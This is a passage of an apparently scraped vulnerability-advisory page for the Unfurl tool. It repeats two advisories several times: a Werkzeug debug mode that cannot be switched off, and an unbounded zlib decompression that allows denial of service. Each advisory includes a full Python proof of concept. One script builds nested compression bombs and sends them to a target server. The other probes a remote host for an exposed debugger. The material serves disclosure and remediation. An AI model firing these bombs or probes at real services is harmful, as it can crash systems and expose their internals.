2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 14, 2021

20210311 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Mar 11, 2021

20210310 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
